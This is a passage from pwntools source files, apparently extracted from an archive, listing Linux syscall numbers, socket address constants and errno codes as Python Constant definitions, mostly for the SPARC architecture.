Constant('SYS_sendfile',187) SYS_sendmmsg = Constant('SYS_sendmmsg',358) SYS_sendmsg = Constant('SYS_sendmsg',370) SYS_sendto = Constant('SYS_sendto',369) SYS_setdomainname = Constant('SYS_setdomainname',121) SYS_setfsgid = Constant('SYS_setfsgid',216) SYS_setfsuid = Constant('SYS_setfsuid',215) SYS_setgid = Constant('SYS_setgid',214) SYS_setgroups = Constant('SYS_setgroups',206) SYS_sethostname = Constant('SYS_sethostname',74) SYS_setitimer = Constant('SYS_setitimer',104) SYS_set_mempolicy = Constant('SYS_set_mempolicy',270) SYS_setns = Constant('SYS_setns',339) SYS_setpgid = Constant('SYS_setpgid',57) SYS_setpriority = Constant('SYS_setpriority',97) SYS_setregid = Constant('SYS_setregid',204) SYS_setresgid = Constant('SYS_setresgid',210) SYS_setresuid = Constant('SYS_setresuid',208) SYS_setreuid = Constant('SYS_setreuid',203) SYS_setrlimit = Constant('SYS_setrlimit',75) SYS_set_robust_list = Constant('SYS_set_robust_list',304) SYS_setsid = Constant('SYS_setsid',66) SYS_setsockopt = Constant('SYS_setsockopt',366) SYS_set_tid_address = Constant('SYS_set_tid_address',252) SYS_settimeofday = Constant('SYS_settimeofday',79) SYS_setuid = Constant('SYS_setuid',213) SYS_setxattr = Constant('SYS_setxattr',224) SYS_shmat = Constant('SYS_shmat',397) SYS_shmctl = Constant('SYS_shmctl',396) SYS_shmdt = Constant('SYS_shmdt',398) SYS_shmget = Constant('SYS_shmget',395) SYS_shutdown = Constant('SYS_shutdown',373) SYS_sigaction = Constant('SYS_sigaction',67) SYS_sigaltstack = Constant('SYS_sigaltstack',186) SYS_signal = Constant('SYS_signal',48) SYS_signalfd = Constant('SYS_signalfd',316) SYS_signalfd4 = Constant('SYS_signalfd4',322) SYS_sigpending = Constant('SYS_sigpending',73) SYS_sigprocmask = Constant('SYS_sigprocmask',126) SYS_sigreturn = Constant('SYS_sigreturn',119) SYS_sigsuspend = Constant('SYS_sigsuspend',72) SYS_socket = Constant('SYS_socket',359) SYS_socketcall = Constant('SYS_socketcall',102) SYS_socketpair = Constant('SYS_socketpair',360) SYS_splice = Constant('SYS_splice',306) SYS_stat = Constant('SYS_stat',106) SYS_statfs = Constant('SYS_statfs',99) SYS_statfs64 = Constant('SYS_statfs64',265) SYS_statx = Constant('SYS_statx',379) SYS_swapoff = Constant('SYS_swapoff',115) SYS_swapon = Constant('SYS_swapon',87) SYS_symlink = Constant('SYS_symlink',83) SYS_symlinkat = Constant('SYS_symlinkat',297) SYS_sync = Constant('SYS_sync',36) SYS_sync_file_range = Constant('SYS_sync_file_range',307) SYS_syncfs = Constant('SYS_syncfs',338) SYS__sysctl = Constant('SYS__sysctl',149) SYS_sysfs = Constant('SYS_sysfs',135) SYS_sysinfo = Constant('SYS_sysinfo',116) SYS_syslog = Constant('SYS_syslog',103) SYS_tee = Constant('SYS_tee',308) SYS_tgkill = Constant('SYS_tgkill',241) SYS_timer_create = Constant('SYS_timer_create',254) SYS_timer_delete = Constant('SYS_timer_delete',(254+4)) SYS_timerfd = Constant('SYS_timerfd',317) SYS_timerfd_create = Constant('SYS_timerfd_create',319) SYS_timerfd_gettime = Constant('SYS_timerfd_gettime',321) SYS_timerfd_settime = Constant('SYS_timerfd_settime',320) SYS_timer_getoverrun = Constant('SYS_timer_getoverrun',(254+3)) SYS_timer_gettime = Constant('SYS_timer_gettime',(254+2)) SYS_timer_settime = Constant('SYS_timer_settime',(254+1)) SYS_times = Constant('SYS_times',43) SYS_tkill = Constant('SYS_tkill',237) SYS_truncate = Constant('SYS_truncate',92) SYS_umask = Constant('SYS_umask',60) SYS_umount = Constant('SYS_umount',22) SYS_umount2 = Constant('SYS_umount2',52) SYS_uname = Constant('SYS_uname',122) SYS_unlink = Constant('SYS_unlink',10) SYS_unlinkat = Constant('SYS_unlinkat',294) SYS_unshare = Constant('SYS_unshare',303) SYS_uselib = Constant('SYS_uselib',86) SYS_userfaultfd = Constant('SYS_userfaultfd',355) SYS_ustat = Constant('SYS_ustat',62) SYS_utime = Constant('SYS_utime',30) SYS_utimensat = Constant('SYS_utimensat',315) SYS_utimes = Constant('SYS_utimes',313) SYS_vfork = Constant('SYS_vfork',190) SYS_vhangup = Constant('SYS_vhangup',111) SYS_vmsplice = Constant('SYS_vmsplice',309) SYS_wait4 = Constant('SYS_wait4',114) SYS_waitid = Constant('SYS_waitid',281) SYS_write = Constant('SYS_write',4) SYS_writev = Constant('SYS_writev',146) Gallopsled-pwntools-3ad86ec/pwnlib/constants/linux/sparc.py000066400000000000000000002213551507273764500243420ustar00rootroot00000000000000from pwnlib.constants.constant import Constant __NR_exit = Constant('__NR_exit',1) __NR_fork = Constant('__NR_fork',2) __NR_read = Constant('__NR_read',3) __NR_write = Constant('__NR_write',4) __NR_open = Constant('__NR_open',5) __NR_close = Constant('__NR_close',6) __NR_wait4 = Constant('__NR_wait4',7) __NR_creat = Constant('__NR_creat',8) __NR_link = Constant('__NR_link',9) __NR_unlink = Constant('__NR_unlink',10) __NR_execv = Constant('__NR_execv',11) __NR_chdir = Constant('__NR_chdir',12) __NR_chown = Constant('__NR_chown',13) __NR_mknod = Constant('__NR_mknod',14) __NR_chmod = Constant('__NR_chmod',15) __NR_lchown = Constant('__NR_lchown',16) __NR_brk = Constant('__NR_brk',17) __NR_perfctr = Constant('__NR_perfctr',18) __NR_lseek = Constant('__NR_lseek',19) __NR_getpid = Constant('__NR_getpid',20) __NR_capget = Constant('__NR_capget',21) __NR_capset = Constant('__NR_capset',22) __NR_setuid = Constant('__NR_setuid',23) __NR_getuid = Constant('__NR_getuid',24) __NR_ptrace = Constant('__NR_ptrace',26) __NR_alarm = Constant('__NR_alarm',27) __NR_sigaltstack = Constant('__NR_sigaltstack',28) __NR_pause = Constant('__NR_pause',29) __NR_utime = Constant('__NR_utime',30) __NR_lchown32 = Constant('__NR_lchown32',31) __NR_fchown32 = Constant('__NR_fchown32',32) __NR_access = Constant('__NR_access',33) __NR_nice = Constant('__NR_nice',34) __NR_chown32 = Constant('__NR_chown32',35) __NR_sync = Constant('__NR_sync',36) __NR_kill = Constant('__NR_kill',37) __NR_stat = Constant('__NR_stat',38) __NR_sendfile = Constant('__NR_sendfile',39) __NR_lstat = Constant('__NR_lstat',40) __NR_dup = Constant('__NR_dup',41) __NR_pipe = Constant('__NR_pipe',42) __NR_times = Constant('__NR_times',43) __NR_getuid32 = Constant('__NR_getuid32',44) __NR_umount2 = Constant('__NR_umount2',45) __NR_setgid = Constant('__NR_setgid',46) __NR_getgid = Constant('__NR_getgid',47) __NR_signal = Constant('__NR_signal',48) __NR_geteuid = Constant('__NR_geteuid',49) __NR_getegid = Constant('__NR_getegid',50) __NR_acct = Constant('__NR_acct',51) __NR_getgid32 = Constant('__NR_getgid32',53) __NR_ioctl = Constant('__NR_ioctl',54) __NR_reboot = Constant('__NR_reboot',55) __NR_mmap2 = Constant('__NR_mmap2',56) __NR_symlink = Constant('__NR_symlink',57) __NR_readlink = Constant('__NR_readlink',58) __NR_execve = Constant('__NR_execve',59) __NR_umask = Constant('__NR_umask',60) __NR_chroot = Constant('__NR_chroot',61) __NR_fstat = Constant('__NR_fstat',62) __NR_fstat64 = Constant('__NR_fstat64',63) __NR_getpagesize = Constant('__NR_getpagesize',64) __NR_msync = Constant('__NR_msync',65) __NR_vfork = Constant('__NR_vfork',66) __NR_pread = Constant('__NR_pread',67) __NR_pwrite = Constant('__NR_pwrite',68) __NR_geteuid32 = Constant('__NR_geteuid32',69) __NR_getegid32 = Constant('__NR_getegid32',70) __NR_mmap = Constant('__NR_mmap',71) __NR_setreuid32 = Constant('__NR_setreuid32',72) __NR_munmap = Constant('__NR_munmap',73) __NR_mprotect = Constant('__NR_mprotect',74) __NR_madvise = Constant('__NR_madvise',75) __NR_vhangup = Constant('__NR_vhangup',76) __NR_truncate64 = Constant('__NR_truncate64',77) __NR_mincore = Constant('__NR_mincore',78) __NR_getgroups = Constant('__NR_getgroups',79) __NR_setgroups = Constant('__NR_setgroups',80) __NR_getpgrp = Constant('__NR_getpgrp',81) __NR_setgroups32 = Constant('__NR_setgroups32',82) __NR_setitimer = Constant('__NR_setitimer',83) __NR_ftruncate64 = Constant('__NR_ftruncate64',84) __NR_swapon = Constant('__NR_swapon',85) __NR_getitimer = Constant('__NR_getitimer',86) __NR_setuid32 = Constant('__NR_setuid32',87) __NR_sethostname = Constant('__NR_sethostname',88) __NR_setgid32 = Constant('__NR_setgid32',89) __NR_dup2 = Constant('__NR_dup2',90) __NR_setfsuid32 = Constant('__NR_setfsuid32',91) __NR_fcntl = Constant('__NR_fcntl',92) __NR_select = Constant('__NR_select',93) __NR_setfsgid32 = Constant('__NR_setfsgid32',94) __NR_fsync = Constant('__NR_fsync',95) __NR_setpriority = Constant('__NR_setpriority',96) __NR_socket = Constant('__NR_socket',97) __NR_connect = Constant('__NR_connect',98) __NR_accept = Constant('__NR_accept',99) __NR_getpriority = Constant('__NR_getpriority',100) __NR_rt_sigreturn = Constant('__NR_rt_sigreturn',101) __NR_rt_sigaction = Constant('__NR_rt_sigaction',102) __NR_rt_sigprocmask = Constant('__NR_rt_sigprocmask',103) __NR_rt_sigpending = Constant('__NR_rt_sigpending',104) __NR_rt_sigtimedwait = Constant('__NR_rt_sigtimedwait',105) __NR_rt_sigqueueinfo = Constant('__NR_rt_sigqueueinfo',106) __NR_rt_sigsuspend = Constant('__NR_rt_sigsuspend',107) __NR_setresuid32 = Constant('__NR_setresuid32',108) __NR_getresuid32 = Constant('__NR_getresuid32',109) __NR_setresgid32 = Constant('__NR_setresgid32',110) __NR_getresgid32 = Constant('__NR_getresgid32',111) __NR_setregid32 = Constant('__NR_setregid32',112) __NR_recvmsg = Constant('__NR_recvmsg',113) __NR_sendmsg = Constant('__NR_sendmsg',114) __NR_getgroups32 = Constant('__NR_getgroups32',115) __NR_gettimeofday = Constant('__NR_gettimeofday',116) __NR_getrusage = Constant('__NR_getrusage',117) __NR_getsockopt = Constant('__NR_getsockopt',118) __NR_getcwd = Constant('__NR_getcwd',119) __NR_readv = Constant('__NR_readv',120) __NR_writev = Constant('__NR_writev',121) __NR_settimeofday = Constant('__NR_settimeofday',122) __NR_fchown = Constant('__NR_fchown',123) __NR_fchmod = Constant('__NR_fchmod',124) __NR_recvfrom = Constant('__NR_recvfrom',125) __NR_setreuid = Constant('__NR_setreuid',126) __NR_setregid = Constant('__NR_setregid',127) __NR_rename = Constant('__NR_rename',128) __NR_truncate = Constant('__NR_truncate',129) __NR_ftruncate = Constant('__NR_ftruncate',130) __NR_flock = Constant('__NR_flock',131) __NR_lstat64 = Constant('__NR_lstat64',132) __NR_sendto = Constant('__NR_sendto',133) __NR_shutdown = Constant('__NR_shutdown',134) __NR_socketpair = Constant('__NR_socketpair',135) __NR_mkdir = Constant('__NR_mkdir',136) __NR_rmdir = Constant('__NR_rmdir',137) __NR_utimes = Constant('__NR_utimes',138) __NR_stat64 = Constant('__NR_stat64',139) __NR_sendfile64 = Constant('__NR_sendfile64',140) __NR_getpeername = Constant('__NR_getpeername',141) __NR_futex = Constant('__NR_futex',142) __NR_gettid = Constant('__NR_gettid',143) __NR_getrlimit = Constant('__NR_getrlimit',144) __NR_setrlimit = Constant('__NR_setrlimit',145) __NR_pivot_root = Constant('__NR_pivot_root',146) __NR_prctl = Constant('__NR_prctl',147) __NR_pciconfig_read = Constant('__NR_pciconfig_read',148) __NR_pciconfig_write = Constant('__NR_pciconfig_write',149) __NR_getsockname = Constant('__NR_getsockname',150) __NR_poll = Constant('__NR_poll',153) __NR_getdents64 = Constant('__NR_getdents64',154) __NR_fcntl64 = Constant('__NR_fcntl64',155) __NR_statfs = Constant('__NR_statfs',157) __NR_fstatfs = Constant('__NR_fstatfs',158) __NR_umount = Constant('__NR_umount',159) __NR_sched_set_affinity = Constant('__NR_sched_set_affinity',160) __NR_sched_get_affinity = Constant('__NR_sched_get_affinity',161) __NR_getdomainname = Constant('__NR_getdomainname',162) __NR_setdomainname = Constant('__NR_setdomainname',163) __NR_quotactl = Constant('__NR_quotactl',165) __NR_set_tid_address = Constant('__NR_set_tid_address',166) __NR_mount = Constant('__NR_mount',167) __NR_ustat = Constant('__NR_ustat',168) __NR_setxattr = Constant('__NR_setxattr',169) __NR_lsetxattr = Constant('__NR_lsetxattr',170) __NR_fsetxattr = Constant('__NR_fsetxattr',171) __NR_getxattr = Constant('__NR_getxattr',172) __NR_lgetxattr = Constant('__NR_lgetxattr',173) __NR_getdents = Constant('__NR_getdents',174) __NR_setsid = Constant('__NR_setsid',175) __NR_fchdir = Constant('__NR_fchdir',176) __NR_fgetxattr = Constant('__NR_fgetxattr',177) __NR_listxattr = Constant('__NR_listxattr',178) __NR_llistxattr = Constant('__NR_llistxattr',179) __NR_flistxattr = Constant('__NR_flistxattr',180) __NR_removexattr = Constant('__NR_removexattr',181) __NR_lremovexattr = Constant('__NR_lremovexattr',182) __NR_sigpending = Constant('__NR_sigpending',183) __NR_query_module = Constant('__NR_query_module',184) __NR_setpgid = Constant('__NR_setpgid',185) __NR_fremovexattr = Constant('__NR_fremovexattr',186) __NR_tkill = Constant('__NR_tkill',187) __NR_exit_group = Constant('__NR_exit_group',188) __NR_uname = Constant('__NR_uname',189) __NR_init_module = Constant('__NR_init_module',190) __NR_personality = Constant('__NR_personality',191) __NR_remap_file_pages = Constant('__NR_remap_file_pages',192) __NR_epoll_create = Constant('__NR_epoll_create',193) __NR_epoll_ctl = Constant('__NR_epoll_ctl',194) __NR_epoll_wait = Constant('__NR_epoll_wait',195) __NR_getppid = Constant('__NR_getppid',197) __NR_sigaction = Constant('__NR_sigaction',198) __NR_sgetmask = Constant('__NR_sgetmask',199) __NR_ssetmask = Constant('__NR_ssetmask',200) __NR_sigsuspend = Constant('__NR_sigsuspend',201) __NR_oldlstat = Constant('__NR_oldlstat',202) __NR_uselib = Constant('__NR_uselib',203) __NR_readdir = Constant('__NR_readdir',204) __NR_readahead = Constant('__NR_readahead',205) __NR_socketcall = Constant('__NR_socketcall',206) __NR_syslog = Constant('__NR_syslog',207) __NR_lookup_dcookie = Constant('__NR_lookup_dcookie',208) __NR_fadvise64 = Constant('__NR_fadvise64',209) __NR_fadvise64_64 = Constant('__NR_fadvise64_64',210) __NR_tgkill = Constant('__NR_tgkill',211) __NR_waitpid = Constant('__NR_waitpid',212) __NR_swapoff = Constant('__NR_swapoff',213) __NR_sysinfo = Constant('__NR_sysinfo',214) __NR_ipc = Constant('__NR_ipc',215) __NR_sigreturn = Constant('__NR_sigreturn',216) __NR_clone = Constant('__NR_clone',217) __NR_adjtimex = Constant('__NR_adjtimex',219) __NR_sigprocmask = Constant('__NR_sigprocmask',220) __NR_create_module = Constant('__NR_create_module',221) __NR_delete_module = Constant('__NR_delete_module',222) __NR_get_kernel_syms = Constant('__NR_get_kernel_syms',223) __NR_getpgid = Constant('__NR_getpgid',224) __NR_bdflush = Constant('__NR_bdflush',225) __NR_sysfs = Constant('__NR_sysfs',226) __NR_afs_syscall = Constant('__NR_afs_syscall',227) __NR_setfsuid = Constant('__NR_setfsuid',228) __NR_setfsgid = Constant('__NR_setfsgid',229) __NR__newselect = Constant('__NR__newselect',230) __NR_time = Constant('__NR_time',231) __NR_stime = Constant('__NR_stime',233) __NR_statfs64 = Constant('__NR_statfs64',234) __NR_fstatfs64 = Constant('__NR_fstatfs64',235) __NR__llseek = Constant('__NR__llseek',236) __NR_mlock = Constant('__NR_mlock',237) __NR_munlock = Constant('__NR_munlock',238) __NR_mlockall = Constant('__NR_mlockall',239) __NR_munlockall = Constant('__NR_munlockall',240) __NR_sched_setparam = Constant('__NR_sched_setparam',241) __NR_sched_getparam = Constant('__NR_sched_getparam',242) __NR_sched_setscheduler = Constant('__NR_sched_setscheduler',243) __NR_sched_getscheduler = Constant('__NR_sched_getscheduler',244) __NR_sched_yield = Constant('__NR_sched_yield',245) __NR_sched_get_priority_max = Constant('__NR_sched_get_priority_max',246) __NR_sched_get_priority_min = Constant('__NR_sched_get_priority_min',247) __NR_sched_rr_get_interval = Constant('__NR_sched_rr_get_interval',248) __NR_nanosleep = Constant('__NR_nanosleep',249) __NR_mremap = Constant('__NR_mremap',250) __NR__sysctl = Constant('__NR__sysctl',251) __NR_getsid = Constant('__NR_getsid',252) __NR_fdatasync = Constant('__NR_fdatasync',253) __NR_nfsservctl = Constant('__NR_nfsservctl',254) __NR_aplib = Constant('__NR_aplib',255) __NR_clock_settime = Constant('__NR_clock_settime',256) __NR_clock_gettime = Constant('__NR_clock_gettime',257) __NR_clock_getres = Constant('__NR_clock_getres',258) __NR_clock_nanosleep = Constant('__NR_clock_nanosleep',259) __NR_sched_getaffinity = Constant('__NR_sched_getaffinity',260) __NR_sched_setaffinity = Constant('__NR_sched_setaffinity',261) __NR_timer_settime = Constant('__NR_timer_settime',262) __NR_timer_gettime = Constant('__NR_timer_gettime',263) __NR_timer_getoverrun = Constant('__NR_timer_getoverrun',264) __NR_timer_delete = Constant('__NR_timer_delete',265) __NR_timer_create = Constant('__NR_timer_create',266) __NR_io_setup = Constant('__NR_io_setup',268) __NR_io_destroy = Constant('__NR_io_destroy',269) __NR_io_submit = Constant('__NR_io_submit',270) __NR_io_cancel = Constant('__NR_io_cancel',271) __NR_io_getevents = Constant('__NR_io_getevents',272) __NR_mq_open = Constant('__NR_mq_open',273) __NR_mq_unlink = Constant('__NR_mq_unlink',274) __NR_mq_timedsend = Constant('__NR_mq_timedsend',275) __NR_mq_timedreceive = Constant('__NR_mq_timedreceive',276) __NR_mq_notify = Constant('__NR_mq_notify',277) __NR_mq_getsetattr = Constant('__NR_mq_getsetattr',278) __NR_waitid = Constant('__NR_waitid',279) __NR_sys_setaltroot = Constant('__NR_sys_setaltroot',280) __NR_add_key = Constant('__NR_add_key',281) __NR_request_key = Constant('__NR_request_key',282) __NR_keyctl = Constant('__NR_keyctl',283) __NR_openat = Constant('__NR_openat',284) __NR_mkdirat = Constant('__NR_mkdirat',285) __NR_mknodat = Constant('__NR_mknodat',286) __NR_fchownat = Constant('__NR_fchownat',287) __NR_futimesat = Constant('__NR_futimesat',288) __NR_fstatat64 = Constant('__NR_fstatat64',289) __NR_unlinkat = Constant('__NR_unlinkat',290) __NR_renameat = Constant('__NR_renameat',291) __NR_linkat = Constant('__NR_linkat',292) __NR_symlinkat = Constant('__NR_symlinkat',293) __NR_readlinkat = Constant('__NR_readlinkat',294) __NR_fchmodat = Constant('__NR_fchmodat',295) __NR_faccessat = Constant('__NR_faccessat',296) __NR_pselect6 = Constant('__NR_pselect6',297) __NR_ppoll = Constant('__NR_ppoll',298) __NR_unshare = Constant('__NR_unshare',299) __NR_set_robust_list = Constant('__NR_set_robust_list',300) __NR_get_robust_list = Constant('__NR_get_robust_list',301) __NR_migrate_pages = Constant('__NR_migrate_pages',302) __NR_mbind = Constant('__NR_mbind',303) __NR_get_mempolicy = Constant('__NR_get_mempolicy',304) __NR_set_mempolicy = Constant('__NR_set_mempolicy',305) __NR_kexec_load = Constant('__NR_kexec_load',306) __NR_move_pages = Constant('__NR_move_pages',307) __NR_getcpu = Constant('__NR_getcpu',308) __NR_epoll_pwait = Constant('__NR_epoll_pwait',309) __NR_utimensat = Constant('__NR_utimensat',310) __NR_signalfd = Constant('__NR_signalfd',311) __NR_timerfd = Constant('__NR_timerfd',312) __NR_eventfd = Constant('__NR_eventfd',313) __NR_fallocate = Constant('__NR_fallocate',314) __NR_timerfd_settime = Constant('__NR_timerfd_settime',315) __NR_timerfd_gettime = Constant('__NR_timerfd_gettime',316) __NR_signalfd4 = Constant('__NR_signalfd4',317) __NR_eventfd2 = Constant('__NR_eventfd2',318) __NR_epoll_create1 = Constant('__NR_epoll_create1',319) __NR_dup3 = Constant('__NR_dup3',320) __NR_pipe2 = Constant('__NR_pipe2',321) __NR_inotify_init1 = Constant('__NR_inotify_init1',322) __NR_accept4 = Constant('__NR_accept4',323) __NR_preadv = Constant('__NR_preadv',324) __NR_pwritev = Constant('__NR_pwritev',325) __NR_rt_tgsigqueueinfo = Constant('__NR_rt_tgsigqueueinfo',326) __NR_perf_event_open = Constant('__NR_perf_event_open',327) __NR_recvmmsg = Constant('__NR_recvmmsg',328) __NR_fanotify_init = Constant('__NR_fanotify_init',329) __NR_fanotify_mark = Constant('__NR_fanotify_mark',330) __NR_prlimit64 = Constant('__NR_prlimit64',331) __NR_name_to_handle_at = Constant('__NR_name_to_handle_at',332) __NR_open_by_handle_at = Constant('__NR_open_by_handle_at',333) __NR_clock_adjtime = Constant('__NR_clock_adjtime',334) __NR_syncfs = Constant('__NR_syncfs',335) __NR_sendmmsg = Constant('__NR_sendmmsg',336) __NR_setns = Constant('__NR_setns',337) __NR_process_vm_readv = Constant('__NR_process_vm_readv',338) __NR_process_vm_writev = Constant('__NR_process_vm_writev',339) __NR_kern_features = Constant('__NR_kern_features',340) __NR_kcmp = Constant('__NR_kcmp',341) __NR_finit_module = Constant('__NR_finit_module',342) __NR_sched_setattr = Constant('__NR_sched_setattr',343) __NR_sched_getattr = Constant('__NR_sched_getattr',344) __NR_renameat2 = Constant('__NR_renameat2',345) __NR_seccomp = Constant('__NR_seccomp',346) __NR_getrandom = Constant('__NR_getrandom',347) __NR_memfd_create = Constant('__NR_memfd_create',348) __NR_bpf = Constant('__NR_bpf',349) __NR_execveat = Constant('__NR_execveat',350) __NR_membarrier = Constant('__NR_membarrier',351) __NR_userfaultfd = Constant('__NR_userfaultfd',352) __NR_bind = Constant('__NR_bind',353) __NR_listen = Constant('__NR_listen',354) __NR_setsockopt = Constant('__NR_setsockopt',355) __NR_mlock2 = Constant('__NR_mlock2',356) __NR_copy_file_range = Constant('__NR_copy_file_range',357) __NR_preadv2 = Constant('__NR_preadv2',358) __NR_pwritev2 = Constant('__NR_pwritev2',359) __NR_statx = Constant('__NR_statx',360) __NR_io_pgetevents = Constant('__NR_io_pgetevents',361) __NR_pkey_mprotect = Constant('__NR_pkey_mprotect',362) __NR_pkey_alloc = Constant('__NR_pkey_alloc',363) __NR_pkey_free = Constant('__NR_pkey_free',364) __NR_rseq = Constant('__NR_rseq',365) __NR_semget = Constant('__NR_semget',393) __NR_semctl = Constant('__NR_semctl',394) __NR_shmget = Constant('__NR_shmget',395) __NR_shmctl = Constant('__NR_shmctl',396) __NR_shmat = Constant('__NR_shmat',397) __NR_shmdt = Constant('__NR_shmdt',398) __NR_msgget = Constant('__NR_msgget',399) __NR_msgsnd = Constant('__NR_msgsnd',400) __NR_msgrcv = Constant('__NR_msgrcv',401) __NR_msgctl = Constant('__NR_msgctl',402) __NR_clock_gettime64 = Constant('__NR_clock_gettime64',403) __NR_clock_settime64 = Constant('__NR_clock_settime64',404) __NR_clock_adjtime64 = Constant('__NR_clock_adjtime64',405) __NR_clock_getres_time64 = Constant('__NR_clock_getres_time64',406) __NR_clock_nanosleep_time64 = Constant('__NR_clock_nanosleep_time64',407) __NR_timer_gettime64 = Constant('__NR_timer_gettime64',408) __NR_timer_settime64 = Constant('__NR_timer_settime64',409) __NR_timerfd_gettime64 = Constant('__NR_timerfd_gettime64',410) __NR_timerfd_settime64 = Constant('__NR_timerfd_settime64',411) __NR_utimensat_time64 = Constant('__NR_utimensat_time64',412) __NR_pselect6_time64 = Constant('__NR_pselect6_time64',413) __NR_ppoll_time64 = Constant('__NR_ppoll_time64',414) __NR_io_pgetevents_time64 = Constant('__NR_io_pgetevents_time64',416) __NR_recvmmsg_time64 = Constant('__NR_recvmmsg_time64',417) __NR_mq_timedsend_time64 = Constant('__NR_mq_timedsend_time64',418) __NR_mq_timedreceive_time64 = Constant('__NR_mq_timedreceive_time64',419) __NR_semtimedop_time64 = Constant('__NR_semtimedop_time64',420) __NR_rt_sigtimedwait_time64 = Constant('__NR_rt_sigtimedwait_time64',421) __NR_futex_time64 = Constant('__NR_futex_time64',422) __NR_sched_rr_get_interval_time64 = Constant('__NR_sched_rr_get_interval_time64',423) __NR_pidfd_send_signal = Constant('__NR_pidfd_send_signal',424) __NR_io_uring_setup = Constant('__NR_io_uring_setup',425) __NR_io_uring_enter = Constant('__NR_io_uring_enter',426) __NR_io_uring_register = Constant('__NR_io_uring_register',427) __NR_open_tree = Constant('__NR_open_tree',428) __NR_move_mount = Constant('__NR_move_mount',429) __NR_fsopen = Constant('__NR_fsopen',430) __NR_fsconfig = Constant('__NR_fsconfig',431) __NR_fsmount = Constant('__NR_fsmount',432) __NR_fspick = Constant('__NR_fspick',433) __NR_pidfd_open = Constant('__NR_pidfd_open',434) __NR_openat2 = Constant('__NR_openat2',437) __NR_pidfd_getfd = Constant('__NR_pidfd_getfd',438) MAP_32BIT = Constant('MAP_32BIT',0x40) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EAGAIN = Constant('EAGAIN',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EWOULDBLOCK = Constant('EWOULDBLOCK',11) EINPROGRESS = Constant('EINPROGRESS',36) EALREADY = Constant('EALREADY',37) ENOTSOCK = Constant('ENOTSOCK',38) EDESTADDRREQ = Constant('EDESTADDRREQ',39) EMSGSIZE = Constant('EMSGSIZE',40) EPROTOTYPE = Constant('EPROTOTYPE',41) ENOPROTOOPT = Constant('ENOPROTOOPT',42) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44) EOPNOTSUPP = Constant('EOPNOTSUPP',45) ENOTSUP = Constant('ENOTSUP',45) EPFNOSUPPORT = Constant('EPFNOSUPPORT',46) EAFNOSUPPORT = Constant('EAFNOSUPPORT',47) EADDRINUSE = Constant('EADDRINUSE',48) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49) ENETDOWN = Constant('ENETDOWN',50) ENETUNREACH = Constant('ENETUNREACH',51) ENETRESET = Constant('ENETRESET',52) ECONNABORTED = Constant('ECONNABORTED',53) ECONNRESET = Constant('ECONNRESET',54) ENOBUFS = Constant('ENOBUFS',55) EISCONN = Constant('EISCONN',56) ENOTCONN = Constant('ENOTCONN',57) ESHUTDOWN = Constant('ESHUTDOWN',58) ETOOMANYREFS = Constant('ETOOMANYREFS',59) ETIMEDOUT = Constant('ETIMEDOUT',60) ECONNREFUSED = Constant('ECONNREFUSED',61) ELOOP = Constant('ELOOP',62) ENAMETOOLONG = Constant('ENAMETOOLONG',63) EHOSTDOWN = Constant('EHOSTDOWN',64) EHOSTUNREACH = Constant('EHOSTUNREACH',65) ENOTEMPTY = Constant('ENOTEMPTY',66) EPROCLIM = Constant('EPROCLIM',67) EUSERS = Constant('EUSERS',68) EDQUOT = Constant('EDQUOT',69) ESTALE = Constant('ESTALE',70) EREMOTE = Constant('EREMOTE',71) ENOSTR = Constant('ENOSTR',72) ETIME = Constant('ETIME',73) ENOSR = Constant('ENOSR',74) ENOMSG = Constant('ENOMSG',75) EBADMSG = Constant('EBADMSG',76) EIDRM = Constant('EIDRM',77) EDEADLK = Constant('EDEADLK',78) ENOLCK = Constant('ENOLCK',79) ENONET = Constant('ENONET',80) ERREMOTE = Constant('ERREMOTE',81) ENOLINK = Constant('ENOLINK',82) EADV = Constant('EADV',83) ESRMNT = Constant('ESRMNT',84) ECOMM = Constant('ECOMM',85) EPROTO = Constant('EPROTO',86) EMULTIHOP = Constant('EMULTIHOP',87) EDOTDOT = Constant('EDOTDOT',88) EREMCHG = Constant('EREMCHG',89) ENOSYS = Constant('ENOSYS',90) ESTRPIPE = Constant('ESTRPIPE',91) EOVERFLOW = Constant('EOVERFLOW',92) EBADFD = Constant('EBADFD',93) ECHRNG = Constant('ECHRNG',94) EL2NSYNC = Constant('EL2NSYNC',95) EL3HLT = Constant('EL3HLT',96) EL3RST = Constant('EL3RST',97) ELNRNG = Constant('ELNRNG',98) EUNATCH = Constant('EUNATCH',99) ENOCSI = Constant('ENOCSI',100) EL2HLT = Constant('EL2HLT',101) EBADE = Constant('EBADE',102) EBADR = Constant('EBADR',103) EXFULL = Constant('EXFULL',104) ENOANO = Constant('ENOANO',105) EBADRQC = Constant('EBADRQC',106) EBADSLT = Constant('EBADSLT',107) EDEADLOCK = Constant('EDEADLOCK',108) EBFONT = Constant('EBFONT',109) ELIBEXEC = Constant('ELIBEXEC',110) ENODATA = Constant('ENODATA',111) ELIBBAD = Constant('ELIBBAD',112) ENOPKG = Constant('ENOPKG',113) ELIBACC = Constant('ELIBACC',114) ENOTUNIQ = 